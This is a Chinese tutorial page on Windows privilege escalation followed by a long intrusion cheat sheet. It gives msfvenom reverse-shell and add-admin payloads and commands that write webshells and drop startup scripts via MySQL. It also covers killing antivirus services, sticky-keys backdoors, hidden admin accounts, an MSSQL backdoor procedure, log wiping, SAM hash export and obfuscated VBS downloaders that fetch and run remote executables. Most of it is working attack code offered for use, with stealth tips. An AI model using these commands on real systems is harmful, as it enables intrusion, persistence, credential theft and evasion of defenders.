最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Windows 提权实录技巧
时间:2015-12-02 编辑:简简单单 来源:一聚教程网
这篇文章中我会讲Windows上一般提权的方法,并演示如何手动进行提权和其对应的Metasploit模块。当我们把权限从本地管理员提升到系统后更容易执行一些操作,而不适当的系统配置则可以使低权限的用户将自己的权限提升到高权限。
Note:本文中我们主要关注于不依赖内核漏洞的提权,例如:KiTrap0d(Meterpreter getsystem提权的四种方法之一)
Trusted Service Paths
这个漏洞存在于二进制服务文件路径中Windows错误解释空格。这些服务通常都是以系统权限运行的,如果我们利用这些服务就可能提权到系统权限。例如如下文件路径:
C:\Program Files\Some Folder\Service.exe
上面文件路径中的空格,Windows会尝试寻找并执行以空格前单词为名字的程序,操作系统会在文件路径下查找所有可能匹配项直到找到一个匹配为止。例如如下例子,Windows会尝试定位并执行如下的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Note:这种特性发生在开发人员没有将整个文件路径包含在引号内。将文件路径包含在引号内会降低这个漏洞的威胁。所以这个漏洞被称为“不带引号的服务路径(Unquoted Service Paths.)”
如果我们在这个文件夹下放置一个精心构造名字的恶意文件,在服务重启后,我们就拥有以系统权限运行的恶意程序了。然而,在放置恶意软件前我们首先要确保我们拥有目标文件夹的权限。那么下面让我们来看下如何发现和利用这个漏洞。
首先,我们可以利用下面一行WMI命令查询(作者:@Danial Compton),列出目标机器上所有没有用引号包含的服务路径:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
有命中的!PFNet服务的路径没有使用引号包含同时路径中包含空格。这里我们想要利用需要有文件夹的权限。假设我们已经有了设备上的管理员权限,那我们可以使用Windows内建工具icacls查看路径中受影响文件夹的权限:
icacls "C:\Program Files (x86)\Privacyware"
注意第一行BUILTIN\Users:(OI)(CI)(M):列出了每个用户具有的权限。(M)代表修改权限,这是我们具有的权限,可以进行读、写和删除文件夹中的文件和子文件夹。我们太幸运了!我们现在可以随意的创建和删除名为Privatefirewall.exe的恶意软件。那么开始吧!
Note:如果我们拥有Privacyware文件夹写权限也能完成同样的事情,更多关于Windows权限的资料请参考MSDN的链接:File and Folder Permissions
当我们利用MSFVenom生成一个可执行文件时,我们希望能够在本地管理员组(windows/adduser)里增加一个账户或者弹回一个系统权限的Meterpreter shell(如下面示例)。当然也可以进行其他的操作。
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe
现在我们来执行我们的恶意软件,尝试先关闭在开启PFNet服务以弹回我们的shell。我们可以使用内建工具sc完成这些:
sc stop PFNet
sc start PFNet
没用!原来我们只有服务文件夹的操作权限,但是没有操作PFNet服务本身的权限。这种情况下,我们只能等待有人重启目标机器或者重头再来。
当目标机器重启后,Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。
Metasploit Module: exploit/windows/local/trusted_service_path
这个模块只需要我们连接到了一个Meterpreter会话即可运行。
这里我们查看源代码发现,这个模块通过正则表达式筛选出没有用引号包含起来的服务并创建一个易受攻击的服务列表,之后尝试针对列表中第一个服务在其文件夹下面放置一个恶意可执行文件,然后重启重启服务并在重启服务后移除之前放置的恶意可执行文件。
Note:在这个模块代码中我没有看见任何一处在尝试放置可执行文件失败后检测是否拥有目标文件夹权限的代码。这让我有些疑惑…
Vulnerable Services
在讨论易受攻击服务利用的时候我们总谈论下面两类:
1.服务二进制文件(Service Binaries)
2.Windows服务(Windows Services)
前者跟我们之前说的可信服务路径很相似。可信服务路径是利用Windows文件解释的漏洞,而易受攻击的服务则是利用目标文件或文件夹自身拥有执行的权限。如果拥有权限,我们可以简单的替换服务为我们的恶意执行文件。使用Privacy Firewall为例,我们放置一个名为pfsvc.exe的可执行文件到"Privatefirewall 7.0"文件夹中。
后者是指Windows服务具有修改自己属性的能力。这些服务通常运行在后台,操作系统要通过Service Control Manager(SCM)进行控制。如果我们可以修改服务的二进制文件,在服务重启后,我们就拥有了一个以SYSTEM权限运行的自己的服务了。下面我们来看下。
最简单确定Windows服务是否存在有风险权限的方法就是使用AccessChk工具(它是SysInternals Suite中的一部分)。这个工具是由Mark Russinovich写的用于在Windows上进行一些系统或程序的高级查询、管理和故障排除。在进行渗透测试的时候鉴于反病毒软件的检测等原因我们应该尽量少的接触目标磁盘,而AccessChk这个著名的微软工具可以帮我们达到目的。
当我们在目标机器上下载了AccessChk后,我们可以执行以下命令来检查有哪个服务可以被我们修改:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
看看我们找到了什么,PFNet再一次的出现了!SERVICE_ALL_ACCESS意味着我们拥有PFNet服务的完全控制权。正常情况下未授权的用户是不应该有这些Windows服务权限的,但由于管理员甚至是第三方开发人员错误的配置才可能导致这种漏洞的出现(不管你是否相信,XP中的确运行着一些这样易受威胁的内建服务)。
Note:这里为了演示故意将PFNet服务修改成这种不安全的情况。
下面让我们用sc命令来查看PFNet服务的配置属性:
sc qc PFNet
这里请注意BINARY_PATH_NAME值是指向pfsvc.exe的,这个就是服务的二进制文件。更改这个值为增加一个用户的命令,那么当服务重启的时候这条命令就会被以系统权限执行(确保SERVICE_START_NAME被指向了LocalSystem)。我们可以多次重复执行这个程序以添加一个新用户到本地管理员组中:
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET
耶?每当我们开启服务时sc命令都返回了一个错误。这是因为net user和net localgroup命令没有指向二进制服务,因此SCM无法与服务进行通信。但是别害怕,虽然报错了但是我们添加用户的命令却完成了:
Note:我建议在我们提权完成之后恢复binpath使其指向原先的值。这样服务会正常运行并且减少引起一些不必要的注意。
现在我们在目标机器上面拥有了一个管理员权限的账户了,如果需要后期将这个账户提升为系统权限也还是很简单的。
Metasploit Module: exploit/windows/local/service_permissions
同样这个模块只需要我们连接到了一个Meterpreter会话即可运行:
这个模块会尝试两种方法将权限提升至SYSTEM。第一种,如果Meterpreter会话是管理员权限,那么模块会创建并允许一个新的服务。如果当前权限不允许创建服务,模块会寻找是否拥有的文件夹或者文件权限以劫持现有服务。
无论是创建新服务还是劫持现有服务,模块都会创建一个包含随机文件名和安装路径的可执行文件。当启用AGGRESSIVE选项后,这个模块会在目标机器上所有可攻击的服务上执行,当不启用这个选项时,模块在第一次成功提权后就会结束。
AlwaysInstallElevated
AlwaysInstallElevated是微软允许非授权用户以SYSTEM权限运行安装文件(MSI)的一种设置。然而,给予用于这种权利会存在一定的安全隐患,因为如果这样做下面两个注册表的值会被置为"1":
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
想查询这两个键值最简单的方法就是使用内建的命令:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Note:如果这条命令出错类似于:"The system was unable to find the specified registry key or value",这可能是组策略里AlwaysInstallElevated没有被定义,因此不存在相关联的注册表项。
现在我们假设AlwaysInstallElevated已经启用了,我们可以利用MSFVenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
当我们在目标机器上加载了新生成的MSI文件后,我们可以使用Windows命令行工具Msiexec进行安装:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
msiexec相关参数解释如下:
1./quiet=安装过程中禁止向用户发送消息
2./qn=不使用GUI
3./i=安装程序
执行后,我们可以在目标机器上检测我们新创建的管理员用户:
Note:使用MSFVenom创建MSI文件时使用了always_install_elevated模块,那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。
Metasploit Module:exploit/windows/local/always_install_elevated
如下所示,这个模块只需要连接到之前运行过的会话即可:
这是一种叫QUIET的高级设置,多数情况下我们都会愿意启动的。启用QUIET选项就跟在Msiexec中使用/quiet选项一样不会给用户显示任何信息。这样确保不会弹出任何信息,使我们的活动更加隐蔽。
这个模块会创建一个随机文件名的MSI文件并在提权成功后删除所有已部署的文件。
Unattended Installs
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户!
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
Note:除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作系统时使用的凭据信息,这些信息可以帮助我们提权。
当我们找到一个Unattend后,打开它并搜索
在这个Unattend文件中,我们可以看到一个本地账户被创建并加入到了管理员组中。管理员密码没有以明文形式显示,但是显然密码是以Base64进行编码的。在Kali中我们可以使用一下命令进行解码:
echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
我们的密码为"P@ssword123!Password",等等,微软在进行编码前会在Unattend文件中所有的密码后面都追加"Password",所以我们本地管理员的密码实际上是"P@ssword123!"。
Note:在
Metasploit Module: post/windows/gather/enum_unattend
这个模块比较简单。就是获取我们感兴趣目标的Meterpreter会话。
在查看过源码后我们发现,这个模块仅仅只是搜索Unattend.xml文件,然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之,这个模块就是全盘搜索Unattend.xml文件以找到管理员账户密码。
附加资源
Windows Privilege Escalation Fundamentals
这是由Ruben Boonen创建的资源合集,是我在OSCP考试中不可或缺的工具。Ruben所接触的提权技术本文并没有涉及,例如搜索注册表中记录的凭证和利用任务调度等。总之很值得一看。
PowerUp
PowerUp是一个由Will Schroeder写的PowerShell工具,它会查询当前机器上可用的提权漏洞。多数情况下,如果目标机器存在漏洞,那么我们就可以利用PowerUp工具来进行提权。
Windows渗透与提权技巧汇总
旁站路径问题:
1、读网站配置。
2、用以下VBS:
On Error Resume Next
If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then
MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo"
WScript.Quit
End If
Set objservice = GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then WScript.Quit (1)
WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
For Each Binds In OService.ServerBindings
Web = "{ " & Replace(Binds, ":", " } { ") & " }"
WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "")
Next
WScript.Echo "Path : " & VDirObj.Path
End If
Next
3、iis_spy 列举(注:需要支持ASPX,反IISSPY的方法:将 activeds.dll,activeds.tlb 降权)。
4、得到目标站目录,不能直接跨的。可以通过“echo ^<%execute(request(“cmd”))%^> >>X:\目标目录\X.asp”或者“copy 脚本文件 X:\目标目录\X.asp”像目标目录写入webshell,或者还可以试试type命令。
网站可能目录(注:一般是虚拟主机类):
data/htdocs.网站/网站/
CMD 下操作 VPN 相关知识、资料:
#允许administrator拨入该VPN:
netsh ras set user administrator permit
#禁止administrator拨入该VPN:
netsh ras set user administrator deny
#查看哪些用户可以拨入VPN:
netsh ras show user
#查看VPN分配IP的方式:
netsh ras ip show config
#使用地址池的方式分配IP:
netsh ras ip set addrassign method = pool
#地址池的范围是从192.168.3.1到192.168.3.254:
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254
Cmd、Dos 命令行下添加 SQL 用户的方法:
需要有管理员权限,在命令下先建立一个“c:\test.qry”文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
另类的加用户方法:
在删掉了 net.exe 和不用 adsi 之外,新的加用户的方法。代码如下:
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
view source
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
Cmd 访问控制权限控制:
命令如下:
cacls c: /e /t /g everyone:F #c盘everyone权限
cacls "目录" /d everyone #everyone不可读,包括admin
备注:
反制方法,在文件夹安全设置里将 Everyone 设定为不可读,如果没有安全性选项:工具 ? 文件夹选项 ? 使用简单的共享去掉即可。
3389 相关,以下配合PR更好:
a、防火墙TCP/IP筛选.(关闭:net stop policyagent & net stop sharedaccess)
b、内网环境(lcx.exe)
c、终端服务器超出了最大允许连接(XP 运行:mstsc /admin;2003 运行:mstsc /console)
1.查询终端端口:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(十六进制为:0x7d8):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制:
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
BS马的PortMap功能,类似LCX做转发。若果支持ASPX,用这个转发会隐蔽点。(注:一直忽略了在偏僻角落的那个功能)
关闭常见杀软(把杀软所在的文件的所有权限去掉):
处理变态诺顿企业版:
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
麦咖啡:
net stop "McAfee McShield"
Symantec病毒日志:
C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs
Symantec病毒备份:
C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine
Nod32病毒备份:
C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine
Nod32移除密码保护:
删除“HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info\PackageID”即可
安装5次shift后门,沾滞键后门,替换SHIFT后门:
5次SHIFT,沾滞键后门:
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
替换SHIFT后门:
attrib c:\windows\system32\sethc.exe -h -r -s
attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
del c:\windows\system32\sethc.exe
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h +r +s
attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
添加隐藏系统账号:
1、执行命令:“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。
2、导出注册表SAM下用户的两个键值。
3、在用户管理界面里的 admin$ 删除,然后把备份的注册表导回去。
4、利用 Hacker Defender 把相关用户注册表隐藏。
安装 MSSQL 扩展后门:
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
处理服务器MSFTP日志:
在“C:\WINNT\system32\LogFiles\MSFTPSVC1\”下有 ex011120.log / ex011121.log / ex011124.log 三个文件,直接删除 ex0111124.log 不成功,显示“原文件…正在使用”。
当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”,删除里面的一些内容后,保存,覆盖退出,成功。
当停止“msftpsvc”服务后可直接删除“ex011124.log”。
MSSQL查询分析器连接记录清除:
MSSQL 2000 位于注册表如下:
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005 是在:
C:\Documents and Settings\\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
防BT系统拦截技巧,可以使用远程下载shell:
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads = Nothing
End Sub
eWebEditor_SaveRemoteFile "your shell's name", "your shell'urL"
%>
防BT系统拦截技巧,可以使用远程下载shell,也达到了隐藏自身的效果,也可以做为超隐蔽的后门,神马的免杀webshell,用服务器安全工具一扫通通挂掉了。
VNC、Radmin、PcAnywhere 的提权方法:
首先利用 shell 读取 vnc 保存在注册表中的密文,然后再使用工具VNC4X破解。
注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
Radmin 默认端口是4899,先获取密码和端口,如下位置:
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter //默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有 PcAnywhere 同时保存密码文件的目录是允许我们的IUSER权限访问,我们可以下载这个CIF文件到本地破解,再通过 PcAnywhere 从本机登陆服务器。
保存密码的CIF文件,不是位于PcAnywhere的安装目录,而且位于安装PcAnywhere所安装盘的:
“\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”
如果PcAnywhere安装在“D:\program\”文件夹下,那么PcAnywhere的密码文件就保存在:“D:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”文件夹下。
WinWebMail 提权加用户:
WinWebMail目录下的web必须设置everyone权限可读可写,在开始程序里,找到WinWebMail快捷方式,接下来,看路径,访问“路径\web”传 shell,访问shell后,权限是system,直接放远控进启动项,等待下次重启。
没有删cmd组件的可以直接加用户,7i24的web目录也是可写,权限为administrator。
1433 SA权限构建注入点:
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
Dim rs, strSQL, id
Set rs = server.CreateObject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.Close
%>
提权篇:
先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco kb952004
命令行RAR打包~~・
1rar a -k -r -s -m3 c:\1.rar c:\folder
收集系统信息的脚本:
for window:
@echo off
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
gethash 不免杀怎么获取本机 hash:
首先导出注册表:
Windows 2000:regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"
Windows 2003:reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg
注意权限问题,一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问(界面登录的需要注意,system权限可以忽略)。
接下来就简单了,把导出的注册表,down 到本机,修改注册表头导入本机,然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦!
当 GetHashes 获取不到 hash 时,可以用冰刃把 sam 复制到桌面。据我所知,某人是用这个方法虚拟机多次因为不知道密码而进不去!~
vbs 下载者:
1:
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
2:
On Error Resume Next:Dim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
create table a (cmd text):
view source
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
Cmd 下目录的操作技巧:
列出d的所有目录:
for /d %i in (d:\freehost\*) do @echo %i
把当前路径下文件夹的名字只有1-3个字母的显示出来:
for /d %i in (???) do @echo %i
以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:
for /r %i in (*.exe) do @echo %i
以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出:
for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i
这个会显示a.txt里面的内容,因为/f的作用,会读出a.txt中:
for /f %i in (c:\1.txt) do echo %i
delims=后的空格是分隔符,tokens是取第几个位置:
for /f "tokens=2 delims= " %i in (a.txt) do echo %i
Windows 系统下的一些常见路径(可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘):
c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
c:\hzhost\databases\url.asp
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisa, dmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\, qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
各种网站的配置文件相对路径大全:
/config.php
